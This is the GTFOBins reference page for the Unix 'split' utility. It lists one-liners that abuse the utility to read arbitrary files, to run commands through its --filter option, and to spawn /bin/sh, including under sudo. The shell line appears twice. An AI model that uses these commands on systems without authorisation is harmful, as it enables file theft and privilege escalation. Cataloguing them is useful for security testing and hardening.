GTFOBins.github.io/_gtfobins/split.md
2020-12-20 21:15:58 +01:00

705 B

functions
file-read command shell sudo
code
LFILE=file_to_read TF=$(mktemp) split $LFILE $TF cat $TF*
description code
Command execution using an existing or newly created file. COMMAND=id TF=$(mktemp) split --filter=$COMMAND $TF
description code
Command execution using stdin (and close it directly). COMMAND=id echo | split --filter=$COMMAND /dev/stdin
description code
The shell prompt is not printed. split --filter=/bin/sh /dev/stdin
description code
The shell prompt is not printed. split --filter=/bin/sh /dev/stdin